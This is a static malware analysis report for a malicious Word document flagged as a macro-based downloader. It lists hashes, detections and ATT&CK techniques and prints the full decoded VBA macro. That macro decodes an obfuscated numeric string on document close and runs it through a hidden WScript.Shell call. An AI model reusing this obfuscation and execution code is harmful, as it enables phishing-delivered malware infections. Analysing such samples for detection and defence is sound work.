Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a0cf68c10d1d9ce0…

MALICIOUS

Office (OOXML)

57.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-01-20
MD5: c507c9bf763fa29ecce8b09e2987707d SHA-1: 0d0ba39278fe0baea8c5b58777c98d9ec7dc8de6 SHA-256: a0cf68c10d1d9ce0e73208e6e6bad32b2405d2c74c662dc7b20f9b567c4dda64
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This OOXML document contains VBA macros, indicated by the OOXML_VBA heuristic and the presence of 'macros.bas' and 'vbaProject_00.bin' artifacts. The 'CreateObject' call within the VBA code suggests an attempt to execute arbitrary code. The Document_Close subroutine appears to deobfuscate and execute a string, likely a payload, using the 'sfoderare' function. This points to a macro-based downloader, commonly delivered via spearphishing attachments.

Heuristics 5

  • ClamAV: Doc.Malware.Valyria-8008733-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-8008733-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2854 bytes
SHA-256: a4e7d485f8694448561070344a8321e2242bd61366a2f48c51818c7bc6c78aab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function pepe(unificato, roba)

  If unificato >= 0 And roba >= 0 Then
    pepe = unificato + roba
  End If
End Function

Function gazebo()
  gazebo = Trim(StrReverse("tpircsw") & Replace("SShell", "SS", ".S"))
End Function


Public Function sfoderare(illudere As String)
  If Len(illudere) < 9353 Then
    Call CreateObject(Application.Run("gazebo")).Run(illudere, (9353 - 9353))
  End If
End Function

Sub Document_Close()
 feralo = volpe("5108095543182755525202502208111012420250111055410225265149181802501308444449352302072255095001294055414202002618425544192255421946552913521255354203193708093552084923281252550717274242515631310812434244352943414255183549181941084431000031234936491849195239441706023455353656203232372014200254021716123849484715092104195510551703450200424943425032430841551818023455353656203232372014201716123849484715092104195510551745020722550950012940554142020026184255441922554219465529135212553542031937080935520849230042431235210717274242515631310812434244352943414255183549181941084431181951275133122330234936491849170345020511150707225509500129405541420200261842554419225542194655291352125535420319370809355208492300424312352107172742425156313141274943444112361252415552552943493542194108443129494124535119512751170303")
 Call Application.Run("sfoderare", feralo)
End Sub

Function volpe(matricola)
  intuito = scomparto(matricola)
  burlone = Trim(vbNullString) & vbNullString
  esteso = Len("c")

  For elfico = 0 To Len(matricola)
    If (pepe(elfico, esteso)) <= UBound(intuito) Then
    altrove = intuito(pepe(elfico, esteso))
    ovunque = intuito(elfico)
    serbato = CInt(ovunque + altrove)
    burlone = burlone & Application.Run("zotico", serbato)
    elfico = pepe(elfico, esteso)
    End If
  Next
  
  volpe = burlone
End Function


Function scomparto(esibito)
    unicodeStr = StrConv(esibito, vbUnicode)
    scomparto = Split(Left(unicodeStr, Len(unicodeStr) - 1), vbNullChar)
End Function




Public Function zotico(ByVal signore As Integer) As String
 microbo = Array("S", "O", " ", ")", "H", "I", ",", "(", "o", "w", "x", "E", "i", "C", "T", "X", "\", "'", "s", ".", "A", "g", "N", "d", "k", "B", "y", "h", "F", "b", "=", "/", "P", "?", "$", "n", "v", "D", "J", "z", "j", "c", "t", "r", "m", ";", "W", "L", "Y", "a", "-", "p", "l", "u", "+", "e", ":")
 realNrs = microbo
 Dim elfico As Integer
 
 For elfico = 0 To UBound(realNrs)
   If elfico = signore Then
    zotico = Replace(Replace(realNrs(elfico), "[", ""), "]", "")
   End If
 Next
 
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 6ba3d42066e1841e4fbd38896a6c571539e109a92577d31d90ea64bdcbe43df9
Detection
ClamAV: Doc.Malware.Valyria-8008733-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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